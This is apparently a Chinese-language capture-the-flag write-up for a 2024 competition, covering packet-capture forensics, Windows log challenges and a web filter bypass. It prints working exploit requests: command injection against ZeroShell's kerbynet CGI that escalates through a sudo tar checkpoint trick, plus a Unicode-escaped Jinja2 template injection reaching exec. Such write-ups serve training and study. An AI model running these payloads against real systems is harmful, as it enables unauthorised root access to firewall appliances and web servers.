2024-12-17 长城杯初赛WP
威胁检测与网络流量分析
zeroshell_1
题目内容:
小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
1.从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}
(本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z,解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce )
- 解压附件
解压后是一个vmk的虚拟机内容和一个流量包,其他文件夹是空的
先运行vmk ps: 需要17以上版本,而我准备的vm是16版本的,所以花了些时间重装
把虚拟机跑起来
题目已提示
分析会话编写exp或数据包重放获取防火墙设备管理员权限
多半是数据包重放攻击
整理好思路开始查看
ps: 太累了不放图了
wireshark过滤内容
http
然后搜索字符串 搜那个登录的 action键的值
搜到了账号密码 admin qwe!@..
试了很多次无法登录
这是个误导人的信息
后面对cgi接口进行测试
在http请求数据包中找到了一串base64
这个既是答案也是下一题的线索
zeroshell_2
2.通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容
看到这个就该想到webshell了
1 | 61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='find / -name “flag”'%0A'%20 HTTP/1.1 |
经过测试发现传参漏洞
先经过find命令找到flag文件
1 | 61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='find / -name “flag”'%0A'%20 HTTP/1.1 |
直接cat 拿到flag
zeroshell_3
1 | 61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='netstat -ano'%0A'%20 HTTP/1.1 |
找到IP就行了
没截图别看了
zeroshell_5
1 | http://61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27cat%20/DB/_DB.001/.nginx %27%0A%27%20%20HTTP/1.1 |
应该没打错吧
把木马文件内容提取出来
hxd打开查看字段找到密码311223344qweasdzxc
win1
运行虚拟机查看属性
送分题
win2
翻日志的时候 查看了一下计划任务找到密码
很明显的base64编码
解码成html实体编码
就这
最后解码成flag
Safe_Proxy
阅读源码发现是我熟悉的flask 框架
过滤内容太多了
但是没有过滤 Unicode 转义
代码尝试通过递归访问字典的多个层级来最终获取到 exec
函数
最后exec执行命令即可
exp
1 | code={{cycler['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['exec']("(\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f)('\u006f\u0073').\u0070\u006f\u0070\u0065\u006e('cat /flag > app.py').read()")}} |
ps:思路: 内建字典中获取到 exec
函数,利用该函数执行一个命令行操作